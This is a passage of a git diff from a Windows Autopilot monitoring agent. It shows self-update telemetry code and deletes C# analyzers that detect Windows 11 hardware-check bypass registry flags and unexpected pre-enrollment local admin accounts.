agentStartTimeUtc, - Paths paths = null) - { - paths = paths ?? Paths.Default(); - var result = new BuildResult(); - - try - { - // Priority order — once consumed, all three are deleted. - if (File.Exists(paths.UpdatedMarker)) - { - result.Outcome = "updated"; - result.Event = BuildUpdatedEvent(paths.UpdatedMarker, sessionId, tenantId, agentStartTimeUtc); - } - else if (File.Exists(paths.SkippedMarker)) - { - var skipEvent = BuildSkippedEvent(paths.SkippedMarker, sessionId, tenantId, out var skipOutcome); - result.Outcome = skipOutcome; - - // Session-scoped dedup for downgrade_blocked: the runtime hash-mismatch path - // re-fires on every agent restart, and each restart would otherwise emit another - // Warning event for the same current→latest pair. Suppress duplicates within the - // same session when the same downgrade is advertised by the backend. - if (string.Equals(skipOutcome, "downgrade_blocked", StringComparison.Ordinal)) - { - var latestVersion = ExtractLatestVersion(skipEvent); - var lastEmit = TryReadLastEmit(paths.LastEmit); - if (lastEmit != null && - string.Equals(lastEmit.SessionId, sessionId, StringComparison.Ordinal) && - string.Equals(lastEmit.LatestVersion, latestVersion, StringComparison.Ordinal) && - string.Equals(lastEmit.Outcome, "downgrade_blocked", StringComparison.Ordinal)) - { - result.Deduped = true; - } - else - { - result.Event = skipEvent; - } - } - else - { - result.Event = skipEvent; - } - } - else if (File.Exists(paths.CheckedMarker)) - { - result.Outcome = "up_to_date"; - var marker = ReadMarker(paths.CheckedMarker); - var latestVersion = (string)marker["latestVersion"] ?? "unknown"; - - // Session-scoped dedup: suppress repeated up_to_date events for the same - // latestVersion within the same session. Update/Skip/Failure are never deduped. - var lastEmit = TryReadLastEmit(paths.LastEmit); - if (lastEmit != null && - string.Equals(lastEmit.SessionId, sessionId, StringComparison.Ordinal) && - string.Equals(lastEmit.LatestVersion, latestVersion, StringComparison.Ordinal) && - string.Equals(lastEmit.Outcome, "up_to_date", StringComparison.Ordinal)) - { - result.Deduped = true; - } - else - { - result.Event = BuildUpToDateEvent(marker, sessionId, tenantId); - } - } - else - { - return result; // no marker — nothing to do - } - } - catch (Exception ex) - { - result.ParseError = ex.Message; - } - - // Persist the last-emit state before cleanup so a crash right after emit doesn't re-emit. - if (result.Event != null) - { - var latestVersion = ExtractLatestVersion(result.Event); - TryWriteLastEmit(paths.LastEmit, sessionId, latestVersion, result.Outcome); - } - - // Always delete markers once consumed (or attempted) — stale markers would cause loops. - TryDelete(paths.UpdatedMarker); - TryDelete(paths.SkippedMarker); - TryDelete(paths.CheckedMarker); - - return result; - } - - // ── Individual builders ───────────────────────────────────────────── - - private static EnrollmentEvent BuildUpdatedEvent(string path, string sessionId, string tenantId, DateTime agentStartTimeUtc) - { - var marker = ReadMarker(path); - - var previousVersion = (string)marker["previousVersion"] ?? "unknown"; - var newVersion = (string)marker["newVersion"] ?? "unknown"; - var updatedAtUtc = (string)marker["updatedAtUtc"] ?? "unknown"; - var triggerReason = (string)marker["triggerReason"] ?? "startup"; - var exitAtUtc = (string)marker["exitAtUtc"]; - - long? downtimeMs = null; - if (!string.IsNullOrEmpty(exitAtUtc) && - DateTime.TryParse(exitAtUtc, System.Globalization.CultureInfo.InvariantCulture, - System.Globalization.DateTimeStyles.RoundtripKind, out var exitDt)) - { - downtimeMs = (long)(agentStartTimeUtc - exitDt).TotalMilliseconds; - } - - var data = new Dictionary - { - { "outcome", "updated" }, - { "previousVersion", previousVersion }, - { "newVersion", newVersion }, - { "latestVersion", newVersion }, - { "updatedAtUtc", updatedAtUtc }, - { "triggerReason", triggerReason } - }; - if (exitAtUtc != null) data["exitAtUtc"] = exitAtUtc; - CopyLong(marker, "versionCheckMs", data); - CopyLong(marker, "downloadMs", data); - CopyLong(marker, "zipSizeBytes", data); - CopyLong(marker, "verifyMs", data); - CopyLong(marker, "extractMs", data); - CopyLong(marker, "swapMs", data); - CopyLong(marker, "totalUpdateMs", data); - if (downtimeMs.HasValue) data["downtimeMs"] = downtimeMs.Value; - - var severity = string.Equals(triggerReason, "runtime_hash_mismatch", StringComparison.Ordinal) - ? EventSeverity.Warning - : EventSeverity.Info; - - return new EnrollmentEvent - { - SessionId = sessionId, - TenantId = tenantId, - EventType = Constants.EventTypes.AgentVersionCheck, - Severity = severity, - Source = "Agent", - Message = $"Agent self-updated from {previousVersion} to {newVersion} (trigger={triggerReason})", - Data = data, - ImmediateUpload = true - }; - } - - private static EnrollmentEvent BuildSkippedEvent(string path, string sessionId, string tenantId, out string outcome) - { - var marker = ReadMarker(path); - - var reason = (string)marker["reason"] ?? "unknown"; - var currentVersion = (string)marker["currentVersion"] ?? "unknown"; - var latestVersion = (string)marker["latestVersion"]; - var skippedAtUtc = (string)marker["skippedAtUtc"] ?? "unknown"; - var errorDetail = (string)marker["errorDetail"] ?? string.Empty; - var triggerReason = (string)marker["triggerReason"]; - - // Marker may already carry outcome (new SelfUpdater). For forward-compat with old markers - // lying around across an upgrade, derive it from the reason. - outcome = (string)marker["outcome"] - ?? (string.Equals(reason, "version_check_failed", StringComparison.Ordinal) ? "check_failed" : "skipped"); - - var data = new Dictionary - { - { "outcome", outcome }, - { "reason", reason }, - { "currentVersion", currentVersion }, - { "skippedAtUtc", skippedAtUtc }, - { "errorDetail", errorDetail } - }; - if (latestVersion != null) - data["latestVersion"] = latestVersion; - if (!string.IsNullOrEmpty(triggerReason)) - data["triggerReason"] = triggerReason; - - string message; - if (outcome == "check_failed") - message = $"Agent version check failed (reason={reason})"; - else if (outcome == "downgrade_blocked") - message = $"Agent self-update blocked: downgrade from {currentVersion} to {latestVersion ?? "unknown"} (trigger={triggerReason ?? "unknown"}, allowDowngrade=false)"; - else - message = $"Agent self-update skipped (reason={reason})"; - - return new EnrollmentEvent - { - SessionId = sessionId, - TenantId = tenantId, - EventType = Constants.EventTypes.AgentVersionCheck, - Severity = EventSeverity.Warning, - Source = "Agent", - Message = message, - Data = data, - ImmediateUpload = true - }; - } - - private static EnrollmentEvent BuildUpToDateEvent(JObject marker, string sessionId, string tenantId) - { - var currentVersion = (string)marker["currentVersion"] ?? "unknown"; - var latestVersion = (string)marker["latestVersion"] ?? "unknown"; - var checkedAtUtc = (string)marker["checkedAtUtc"] ?? "unknown"; - - var data = new Dictionary - { - { "outcome", "up_to_date" }, - { "currentVersion", currentVersion }, - { "latestVersion", latestVersion }, - { "checkedAtUtc", checkedAtUtc } - }; - CopyLong(marker, "versionCheckMs", data); - - return new EnrollmentEvent - { - SessionId = sessionId, - TenantId = tenantId, - EventType = Constants.EventTypes.AgentVersionCheck, - Severity = EventSeverity.Info, - Source = "Agent", - Message = $"Agent version check: up to date ({currentVersion})", - Data = data, - ImmediateUpload = true - }; - } - - // ── Helpers ───────────────────────────────────────────────────────── - - private sealed class LastEmit - { - public string SessionId { get; set; } - public string LatestVersion { get; set; } - public string Outcome { get; set; } - } - - private static JObject ReadMarker(string path) => JObject.Parse(File.ReadAllText(path)); - - private static void CopyLong(JObject marker, string key, Dictionary target) - { - var token = marker[key]; - if (token == null || token.Type == JTokenType.Null) return; - try { target[key] = token.ToObject(); } catch { /* skip malformed field */ } - } - - private static string ExtractLatestVersion(EnrollmentEvent evt) - { - if (evt?.Data == null) return "unknown"; - return evt.Data.TryGetValue("latestVersion", out var v) && v != null ? v.ToString() : "unknown"; - } - - private static LastEmit TryReadLastEmit(string path) - { - try - { - if (!File.Exists(path)) return null; - var obj = JObject.Parse(File.ReadAllText(path)); - return new LastEmit - { - SessionId = (string)obj["sessionId"], - LatestVersion = (string)obj["latestVersion"], - Outcome = (string)obj["outcome"] - }; - } - catch { return null; } - } - - private static void TryWriteLastEmit(string path, string sessionId, string latestVersion, string outcome) - { - try - { - var dir = Path.GetDirectoryName(path); - if (!string.IsNullOrEmpty(dir) && !Directory.Exists(dir)) - Directory.CreateDirectory(dir); - - var payload = new JObject - { - ["sessionId"] = sessionId ?? string.Empty, - ["latestVersion"] = latestVersion ?? "unknown", - ["outcome"] = outcome ?? "unknown", - ["emittedAtUtc"] = DateTime.UtcNow.ToString("O") - }; - File.WriteAllText(path, payload.ToString(Newtonsoft.Json.Formatting.None)); - } - catch { /* best-effort */ } - } - - private static void TryDelete(string path) - { - try { if (File.Exists(path)) File.Delete(path); } catch { } - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Telemetry/Analyzers/IAgentAnalyzer.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Telemetry/Analyzers/IAgentAnalyzer.cs deleted file mode 100644 index 967d08d0..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Telemetry/Analyzers/IAgentAnalyzer.cs +++ /dev/null @@ -1,33 +0,0 @@ -namespace AutopilotMonitor.Agent.Core.Monitoring.Telemetry.Analyzers -{ - /// - /// Represents an agent-side security or configuration analyzer. - /// Unlike collectors which stream raw telemetry, analyzers run targeted checks, - /// produce a confidence-scored finding, and emit a single structured event. - /// - /// Lifecycle: - /// AnalyzeAtStartup() — called once after agent starts, before enrollment phases begin - /// AnalyzeAtShutdown() — called once at enrollment end / agent stop (enables delta detection) - /// - public interface IAgentAnalyzer - { - /// - /// Human-readable name for logging (e.g., "LocalAdminAnalyzer"). - /// - string Name { get; } - - /// - /// Run analysis at agent startup. - /// Emits a structured finding event via the callback supplied at construction. - /// - void AnalyzeAtStartup(); - - /// - /// Run analysis at agent shutdown / enrollment completion (delta detection). - /// Emits a second finding event for end-state comparison against the startup result. - /// IMPORTANT: Emitted events MUST use Phase=Unknown. Analyzers are not phase-declaration - /// events — see EnrollmentPhase doc for the phase strategy. - /// - void AnalyzeAtShutdown(); - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Telemetry/Analyzers/IntegrityBypassAnalyzer.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Telemetry/Analyzers/IntegrityBypassAnalyzer.cs deleted file mode 100644 index 0821ecad..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Telemetry/Analyzers/IntegrityBypassAnalyzer.cs +++ /dev/null @@ -1,510 +0,0 @@ -using System; -using System.Collections.Generic; -using System.IO; -using System.Linq; -using System.Management; -using AutopilotMonitor.Agent.Core.Logging; -using AutopilotMonitor.Shared.Models; -using Microsoft.Win32; - -namespace AutopilotMonitor.Agent.Core.Monitoring.Telemetry.Analyzers -{ - /// - /// Detects Windows 11 "unsupported hardware" installations where the PC Health Check / - /// Setup-time hardware gates were bypassed via registry flags, and flags suspicious - /// post-OOBE setup scripts. Such devices may complete enrollment successfully yet lack - /// TPM-backed features (WHfB, BitLocker TPM protector, Device Health Attestation, - /// Credential Guard) — a silent quality risk not otherwise surfaced by enrollment_complete. - /// - /// Checks performed: - /// 1. HKLM\SYSTEM\Setup\LabConfig\Bypass{TPM,SecureBoot,RAM,Storage,Disk,CPU}Check (install-time) - /// 2. HKLM\SYSTEM\Setup\MoSetup\AllowUpgradesWithUnsupportedTPMOrCPU (in-place upgrade) - /// 3. HKU\<SID>\SOFTWARE\Microsoft\PCHC\UpgradeEligibility (WU upgrade bypass, per-user) - /// 4. %WINDIR%\Setup\Scripts\SetupComplete.cmd + ErrorHandler.cmd (suspicious post-OOBE hooks) - /// - /// Correlation: - /// Bypass flags are cross-checked against current TPM and SecureBoot state; a bypass - /// combined with a missing security feature is escalated to "critical". - /// - /// Runs only at startup: the inspected artefacts are pre-enrollment state (install-time - /// registry keys, OEM/bypass scripts) that do not change during enrollment. Shutdown - /// would just re-emit the same data — the analyzer treats AnalyzeAtShutdown as a no-op. - /// - public class IntegrityBypassAnalyzer : IAgentAnalyzer - { - private readonly string _sessionId; - private readonly string _tenantId; - private readonly Action _emitEvent; - private readonly AgentLogger _logger; - - public string Name => "IntegrityBypassAnalyzer"; - - // LabConfig bypass value names. Both BypassStorageCheck and BypassDiskCheck are observed - // in the wild — scripts differ, both should be captured. - private static readonly string[] LabConfigBypassValues = new[] - { - "BypassTPMCheck", - "BypassSecureBootCheck", - "BypassRAMCheck", - "BypassStorageCheck", - "BypassDiskCheck", - "BypassCPUCheck" - }; - - // Registry base SIDs that are NOT real user profiles - private static readonly HashSet SystemSids = new HashSet(StringComparer.OrdinalIgnoreCase) - { - ".DEFAULT", - "S-1-5-18", // LocalSystem - "S-1-5-19", // LocalService - "S-1-5-20" // NetworkService - }; - - public IntegrityBypassAnalyzer( - string sessionId, - string tenantId, - Action emitEvent, - AgentLogger logger) - { - _sessionId = sessionId ?? throw new ArgumentNullException(nameof(sessionId)); - _tenantId = tenantId ?? throw new ArgumentNullException(nameof(tenantId)); - _emitEvent = emitEvent ?? throw new ArgumentNullException(nameof(emitEvent)); - _logger = logger ?? throw new ArgumentNullException(nameof(logger)); - } - - public void AnalyzeAtStartup() - { - _logger.Info($"{Name}: Running startup analysis"); - RunAnalysis("startup"); - } - - public void AnalyzeAtShutdown() - { - // Pre-enrollment state does not change during enrollment — skip the shutdown run. - _logger.Debug($"{Name}: Shutdown no-op (bypass state is pre-enrollment, already captured at startup)"); - } - - // ----------------------------------------------------------------------- - // Core analysis - // ----------------------------------------------------------------------- - - private void RunAnalysis(string trigger) - { - try - { - var labConfig = CheckLabConfig(); - var moSetup = CheckMoSetupAllowUnsupported(); - var pchc = CheckPchcUpgradeEligibility(); - var setupScripts = CheckSetupScripts(); - - var tpmPresent = CheckTpmPresentAndEnabled(); - var secureBootEnabled = CheckSecureBootEnabled(); - - // --------- Severity aggregation --------- - var severity = EventSeverity.Info; - var findings = new List(); - - bool anyLabConfigBypass = labConfig.ActiveBypasses.Count > 0; - bool labConfigKeyExists = labConfig.KeyExists; - bool moSetupBypass = moSetup.Value == 1; - bool pchcBypass = pchc.AnyUserWithFlag; - bool scriptsPresent = setupScripts.Any(s => s.Exists); - - // Critical: bypass + corresponding feature missing - if (labConfig.ActiveBypasses.Contains("BypassTPMCheck") && tpmPresent.HasValue && tpmPresent.Value == false) - { - severity = Escalate(severity, EventSeverity.Critical); - findings.Add("tpm_bypass_with_missing_tpm"); - } - if (labConfig.ActiveBypasses.Contains("BypassSecureBootCheck") && secureBootEnabled.HasValue && secureBootEnabled.Value == false) - { - severity = Escalate(severity, EventSeverity.Critical); - findings.Add("secureboot_bypass_with_disabled_secureboot"); - } - if (moSetupBypass && ((tpmPresent.HasValue && tpmPresent.Value == false) || (secureBootEnabled.HasValue && secureBootEnabled.Value == false))) - { - severity = Escalate(severity, EventSeverity.Critical); - findings.Add("upgrade_bypass_with_missing_feature"); - } - - // Warning: bypass active but feature currently still OK, or scripts present, or PCHC flag - if (anyLabConfigBypass && severity < EventSeverity.Warning) - { - severity = Escalate(severity, EventSeverity.Warning); - findings.Add("labconfig_bypass_active"); - } - if (moSetupBypass && severity < EventSeverity.Warning) - { - severity = Escalate(severity, EventSeverity.Warning); - findings.Add("mosetup_upgrade_bypass_active"); - } - if (pchcBypass) - { - severity = Escalate(severity, EventSeverity.Warning); - findings.Add("pchc_upgrade_eligibility_forced"); - } - if (scriptsPresent) - { - severity = Escalate(severity, EventSeverity.Warning); - findings.Add("suspicious_setup_scripts_present"); - } - - // Info: key exists but nothing active - if (severity == EventSeverity.Info) - { - if (labConfigKeyExists) - findings.Add("labconfig_key_present_inactive"); - else - findings.Add("no_bypass_indicators"); - } - - string findingLabel = findings.FirstOrDefault() ?? "no_bypass_indicators"; - string message = severity >= EventSeverity.Warning - ? $"{Name}: Integrity bypass indicators detected ({string.Join(",", findings)})" - : $"{Name}: No integrity bypass indicators"; - - _logger.Info( - $"{Name}: severity={severity}, findings=[{string.Join(",", findings)}], " + - $"labConfigBypasses={labConfig.ActiveBypasses.Count}, " + - $"moSetupBypass={moSetupBypass}, pchcBypass={pchcBypass}, " + - $"scriptsPresent={scriptsPresent}, tpm={FormatNullableBool(tpmPresent)}, " + - $"secureBoot={FormatNullableBool(secureBootEnabled)}"); - - var data = new Dictionary - { - { "severity", severity.ToString().ToLowerInvariant() }, - { "finding", findingLabel }, - { "findings", findings }, - { "triggered_at", trigger }, - { "enrollment_phase_at_check", EnrollmentPhase.Unknown.ToString() }, - { "checks", new Dictionary - { - { "lab_config", new Dictionary - { - { "key_exists", labConfig.KeyExists }, - { "values", labConfig.Values }, - { "active_bypasses", labConfig.ActiveBypasses } - } - }, - { "mo_setup", new Dictionary - { - { "key_exists", moSetup.KeyExists }, - { "value", moSetup.Value }, - { "flagged", moSetupBypass } - } - }, - { "pchc_upgrade_eligibility", new Dictionary - { - { "users_checked", pchc.UsersChecked }, - { "users_with_flag", pchc.UsersWithFlag }, - { "any_user_with_flag", pchc.AnyUserWithFlag } - } - }, - { "setup_scripts", setupScripts.Select(s => new Dictionary - { - { "path", s.Path }, - { "exists", s.Exists }, - { "size_bytes", s.SizeBytes }, - { "last_modified_utc", s.LastModifiedUtc.HasValue - ? s.LastModifiedUtc.Value.ToString("O") - : null } - }).ToList() - }, - { "correlation", new Dictionary - { - { "tpm_present_and_enabled", tpmPresent }, - { "secure_boot_enabled", secureBootEnabled } - } - } - } - } - }; - - _emitEvent(new EnrollmentEvent - { - SessionId = _sessionId, - TenantId = _tenantId, - EventType = "integrity_bypass_analysis", - Severity = severity, - Source = Name, - Phase = EnrollmentPhase.Unknown, - Message = message, - Data = data - }); - } - catch (Exception ex) - { - _logger.Error($"{Name}: Analysis failed unexpectedly", ex); - } - } - - private static EventSeverity Escalate(EventSeverity current, EventSeverity candidate) - => candidate > current ? candidate : current; - - private static string FormatNullableBool(bool? value) - => value.HasValue ? value.Value.ToString() : "unknown"; - - // ----------------------------------------------------------------------- - // Individual checks - // ----------------------------------------------------------------------- - - private LabConfigCheckResult CheckLabConfig() - { - var result = new LabConfigCheckResult(); - try - { - using (var key = Registry.LocalMachine.OpenSubKey(@"SYSTEM\Setup\LabConfig", writable: false)) - { - if (key == null) - { - _logger.Debug($"{Name}: HKLM\\SYSTEM\\Setup\\LabConfig not present"); - return result; - } - - result.KeyExists = true; - foreach (var valueName in LabConfigBypassValues) - { - var raw = key.GetValue(valueName); - int intValue = 0; - if (raw != null) - { - try { intValue = Convert.ToInt32(raw); } - catch (Exception ex) when (ex is InvalidCastException || ex is FormatException || ex is OverflowException) - { - _logger.Warning($"{Name}: LabConfig '{valueName}' has unparseable value (raw type={raw.GetType().Name}): {ex.Message}"); - intValue = 0; - } - } - result.Values[valueName] = intValue; - if (intValue == 1) - { - result.ActiveBypasses.Add(valueName); - _logger.Debug($"{Name}: LabConfig {valueName}=1 (active bypass)"); - } - } - } - } - catch (Exception ex) - { - _logger.Warning($"{Name}: Failed to read LabConfig registry: {ex.Message}"); - } - return result; - } - - private MoSetupCheckResult CheckMoSetupAllowUnsupported() - { - try - { - using (var key = Registry.LocalMachine.OpenSubKey(@"SYSTEM\Setup\MoSetup", writable: false)) - { - if (key == null) - return new MoSetupCheckResult { KeyExists = false, Value = 0 }; - - var raw = key.GetValue("AllowUpgradesWithUnsupportedTPMOrCPU"); - if (raw == null) - return new MoSetupCheckResult { KeyExists = true, Value = 0 }; - - int intValue = 0; - try { intValue = Convert.ToInt32(raw); } - catch (Exception ex) when (ex is InvalidCastException || ex is FormatException || ex is OverflowException) - { - _logger.Warning($"{Name}: MoSetup 'AllowUpgradesWithUnsupportedTPMOrCPU' has unparseable value (raw type={raw.GetType().Name}): {ex.Message}"); - } - return new MoSetupCheckResult { KeyExists = true, Value = intValue }; - } - } - catch (Exception ex) - { - _logger.Warning($"{Name}: Failed to read MoSetup registry: {ex.Message}"); - return new MoSetupCheckResult { KeyExists = false, Value = 0 }; - } - } - - /// - /// Enumerates HKEY_USERS and checks SOFTWARE\Microsoft\PCHC\UpgradeEligibility for each - /// real user profile. Agent runs as SYSTEM — loaded hives include all interactive user - /// profiles that Windows has mounted. SIDs for .DEFAULT and system accounts are skipped. - /// Profiles whose hive is not currently loaded are not visible here; that is acceptable — - /// the relevant user during enrollment is the primary logged-in user whose hive is loaded. - /// - private PchcCheckResult CheckPchcUpgradeEligibility() - { - var result = new PchcCheckResult(); - try - { - using (var users = Registry.Users) - { - foreach (var sid in users.GetSubKeyNames()) - { - if (string.IsNullOrEmpty(sid)) continue; - if (SystemSids.Contains(sid)) continue; - // Skip the Classes-hive companions - if (sid.EndsWith("_Classes", StringComparison.OrdinalIgnoreCase)) continue; - - result.UsersChecked.Add(sid); - - try - { - using (var pchcKey = users.OpenSubKey($@"{sid}\SOFTWARE\Microsoft\PCHC", writable: false)) - { - if (pchcKey == null) continue; - - var raw = pchcKey.GetValue("UpgradeEligibility"); - if (raw == null) continue; - - int intValue = 0; - try { intValue = Convert.ToInt32(raw); } - catch (Exception ex) when (ex is InvalidCastException || ex is FormatException || ex is OverflowException) - { - _logger.Warning($"{Name}: PCHC UpgradeEligibility for SID {sid} has unparseable value (raw type={raw.GetType().Name}): {ex.Message}"); - continue; - } - - if (intValue == 1) - { - result.UsersWithFlag.Add(sid); - _logger.Debug($"{Name}: PCHC UpgradeEligibility=1 for SID {sid}"); - } - } - } - catch (Exception ex) - { - _logger.Debug($"{Name}: Failed to read PCHC for SID {sid}: {ex.Message}"); - } - } - } - } - catch (Exception ex) - { - _logger.Warning($"{Name}: Failed to enumerate HKEY_USERS: {ex.Message}"); - } - return result; - } - - private List CheckSetupScripts() - { - var results = new List(); - var windir = Environment.GetEnvironmentVariable("WINDIR"); - if (string.IsNullOrEmpty(windir)) - windir = @"C:\Windows"; - - var candidates = new[] - { - Path.Combine(windir, @"Setup\Scripts\SetupComplete.cmd"), - Path.Combine(windir, @"Setup\Scripts\ErrorHandler.cmd") - }; - - foreach (var path in candidates) - { - var entry = new SetupScriptCheckResult { Path = path, Exists = false }; - try - { - if (File.Exists(path)) - { - entry.Exists = true; - var fi = new FileInfo(path); - entry.SizeBytes = fi.Length; - entry.LastModifiedUtc = fi.LastWriteTimeUtc; - _logger.Debug($"{Name}: Setup script present: {path} ({fi.Length} bytes)"); - } - } - catch (Exception ex) - { - _logger.Debug($"{Name}: Failed to stat {path}: {ex.Message}"); - } - results.Add(entry); - } - return results; - } - - /// - /// Returns true if a TPM is present and enabled, false if definitely absent/disabled, - /// null if indeterminate (query failed). Uses Win32_Tpm in root\CIMV2\Security\MicrosoftTpm. - /// - private bool? CheckTpmPresentAndEnabled() - { - try - { - using (var searcher = new ManagementObjectSearcher( - @"root\CIMV2\Security\MicrosoftTpm", - "SELECT IsEnabled_InitialValue, IsActivated_InitialValue FROM Win32_Tpm")) - using (var results = searcher.Get()) - { - foreach (ManagementObject tpm in results) - { - using (tpm) - { - var isEnabled = tpm["IsEnabled_InitialValue"] != null - && Convert.ToBoolean(tpm["IsEnabled_InitialValue"]); - // At least one Tpm instance exists — return its enabled state - return isEnabled; - } - } - } - // No Win32_Tpm instance returned — no TPM present - return false; - } - catch (Exception ex) - { - _logger.Debug($"{Name}: TPM WMI query failed: {ex.Message}"); - return null; - } - } - - /// - /// Returns true if UEFI Secure Boot is enabled, false if disabled, null if not - /// queryable (e.g. BIOS firmware without the registry key). - /// - private bool? CheckSecureBootEnabled() - { - try - { - using (var key = Registry.LocalMachine.OpenSubKey( - @"SYSTEM\CurrentControlSet\Control\SecureBoot\State", writable: false)) - { - if (key == null) return null; - var raw = key.GetValue("UEFISecureBootEnabled"); - if (raw == null) return null; - return Convert.ToInt32(raw) == 1; - } - } - catch (Exception ex) - { - _logger.Debug($"{Name}: SecureBoot registry read failed: {ex.Message}"); - return null; - } - } - - // ----------------------------------------------------------------------- - // Private result types - // ----------------------------------------------------------------------- - - private class LabConfigCheckResult - { - public bool KeyExists { get; set; } - public Dictionary Values { get; set; } = new Dictionary(); - public List ActiveBypasses { get; set; } = new List(); - } - - private class MoSetupCheckResult - { - public bool KeyExists { get; set; } - public int Value { get; set; } - } - - private class PchcCheckResult - { - public List UsersChecked { get; set; } = new List(); - public List UsersWithFlag { get; set; } = new List(); - public bool AnyUserWithFlag => UsersWithFlag.Count > 0; - } - - private class SetupScriptCheckResult - { - public string Path { get; set; } - public bool Exists { get; set; } - public long SizeBytes { get; set; } - public DateTime? LastModifiedUtc { get; set; } - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Telemetry/Analyzers/LocalAdminAnalyzer.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Telemetry/Analyzers/LocalAdminAnalyzer.cs deleted file mode 100644 index 2c081fac..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Telemetry/Analyzers/LocalAdminAnalyzer.cs +++ /dev/null @@ -1,477 +0,0 @@ -using System; -using System.Collections.Generic; -using System.IO; -using System.Linq; -using System.Management; -using AutopilotMonitor.Agent.Core.Logging; -using AutopilotMonitor.Shared.Models; -using Microsoft.Win32; - -namespace AutopilotMonitor.Agent.Core.Monitoring.Telemetry.Analyzers -{ - /// - /// Analyzes local administrator accounts and user profiles on the device - /// to detect pre-enrollment admin account creation — a known Autopilot bypass technique. - /// - /// Checks performed: - /// 1. BypassNRO registry flag (HKLM\...\OOBE\BypassNRO = 1) - /// 2. Unexpected local user accounts (via WMI Win32_UserAccount) - /// 3. Unexpected C:\Users profile directories - /// - /// Confidence scoring: - /// BypassNRO = 1 → +20 (low indicator) - /// Unexpected local account found → +40 (medium indicator) - /// Account + matching C:\Users profile → +40 (high indicator, profile overlap) - /// - /// Emits a single "local_admin_analysis" event at startup and at shutdown, - /// enabling delta detection between pre- and post-enrollment state. - /// - public class LocalAdminAnalyzer : IAgentAnalyzer - { - private readonly string _sessionId; - private readonly string _tenantId; - private readonly Action _emitEvent; - private readonly AgentLogger _logger; - private readonly List _allowedAccounts; - - // Built-in accounts and profile folders always present on a freshly imaged Windows device. - // "Public", "Default", "Default User", "All Users" are folders/junctions in C:\Users, not user accounts. - // "defaultuser0" is a temporary OOBE/Autopilot system account created during enrollment. - private static readonly List BuiltInAllowedAccounts = new List - { - "Administrator", - "Guest", - "DefaultAccount", - "WDAGUtilityAccount", - "defaultuser0", // Temporary OOBE/Autopilot system account, present during enrollment - "defaultuser1", // Sometimes seen in OOBE, but not always present - "defaultuser2", // Sometimes seen in OOBE, but not always present - "Public", // Profile folder (not a user account) - "Default", // Default user profile template - "Default User", // Symlink to Default in some Windows versions - "All Users" // Junction pointing to C:\ProgramData, always present - }; - - public string Name => "LocalAdminAnalyzer"; - - public LocalAdminAnalyzer( - string sessionId, - string tenantId, - Action emitEvent, - AgentLogger logger, - List allowedAccounts = null) - { - _sessionId = sessionId ?? throw new ArgumentNullException(nameof(sessionId)); - _tenantId = tenantId ?? throw new ArgumentNullException(nameof(tenantId)); - _emitEvent = emitEvent ?? throw new ArgumentNullException(nameof(emitEvent)); - _logger = logger ?? throw new ArgumentNullException(nameof(logger)); - - // Tenant-supplied accounts are additive (union with built-ins, not replacement) - _allowedAccounts = new List(BuiltInAllowedAccounts); - if (allowedAccounts != null) - { - foreach (var account in allowedAccounts) - { - if (!string.IsNullOrWhiteSpace(account) && - !_allowedAccounts.Any(a => string.Equals(a, account, StringComparison.OrdinalIgnoreCase))) - { - _allowedAccounts.Add(account); - } - } - } - } - - public void AnalyzeAtStartup() - { - _logger.Info($"{Name}: Running startup analysis"); - RunAnalysis("startup", EnrollmentPhase.Unknown); - } - - public void AnalyzeAtShutdown() - { - _logger.Info($"{Name}: Running shutdown analysis"); - - // At shutdown a user has logged in — their profile folder and account are expected. - // Detect logged-in users via explorer.exe owner (same technique as DesktopArrivalDetector) - // and add them dynamically so they don't trigger false positives. - var loggedInUsers = GetLoggedInUserNames(); - // Phase=Unknown: this is an analysis event, not a phase declaration. - // Phase-tagged events are reserved for explicit phase transitions (esp_phase_changed etc.). - RunAnalysis("shutdown", EnrollmentPhase.Unknown, loggedInUsers); - } - - // ----------------------------------------------------------------------- - // Core analysis - // ----------------------------------------------------------------------- - - private void RunAnalysis(string trigger, EnrollmentPhase phase, List dynamicAllowedUsers = null) - { - try - { - // Build effective allowed list: static + optional dynamic (logged-in users at shutdown) - var effectiveAllowed = _allowedAccounts; - if (dynamicAllowedUsers != null && dynamicAllowedUsers.Count > 0) - { - effectiveAllowed = new List(_allowedAccounts); - foreach (var user in dynamicAllowedUsers) - { - if (!effectiveAllowed.Any(a => string.Equals(a, user, StringComparison.OrdinalIgnoreCase))) - { - effectiveAllowed.Add(user); - _logger.Info($"{Name}: Dynamically allowing logged-in user: {user}"); - } - } - } - - var bypassNroResult = CheckBypassNroRegistry(); - var accountsResult = CheckLocalAdminAccounts(effectiveAllowed); - var profilesResult = CheckUserProfiles(effectiveAllowed); - - int confidenceScore = 0; - - if (bypassNroResult.Value == 1) - confidenceScore += 20; - - if (accountsResult.Unexpected.Count > 0) - confidenceScore += 40; - - // Profile overlap: unexpected account AND matching C:\Users folder - bool profileOverlap = accountsResult.Unexpected.Any(a => - profilesResult.Unexpected.Any(p => - string.Equals(a, p, StringComparison.OrdinalIgnoreCase))); - if (profileOverlap) - confidenceScore += 40; - - confidenceScore = Math.Min(confidenceScore, 100); - - EventSeverity severity; - string findingLabel; - - if (confidenceScore == 0) - { - severity = EventSeverity.Info; - findingLabel = "no_unexpected_admins_detected"; - } - else if (confidenceScore < 40) - { - severity = EventSeverity.Info; - findingLabel = "bypass_nro_flag_only"; - } - else if (confidenceScore < 80) - { - severity = EventSeverity.Warning; - findingLabel = "unexpected_local_admins_detected"; - } - else - { - severity = EventSeverity.Error; - findingLabel = "unexpected_local_admins_detected"; - } - - _logger.Info( - $"{Name}: confidence={confidenceScore}, finding={findingLabel}, " + - $"bypassNro={bypassNroResult.Value}, " + - $"unexpectedAccounts={accountsResult.Unexpected.Count}, " + - $"unexpectedProfiles={profilesResult.Unexpected.Count}"); - - var data = new Dictionary - { - { "confidence_score", confidenceScore }, - { "severity", severity.ToString().ToLower() }, - { "finding", findingLabel }, - { "triggered_at", trigger }, - { "enrollment_phase_at_check", phase.ToString() }, - { "allowed_accounts", 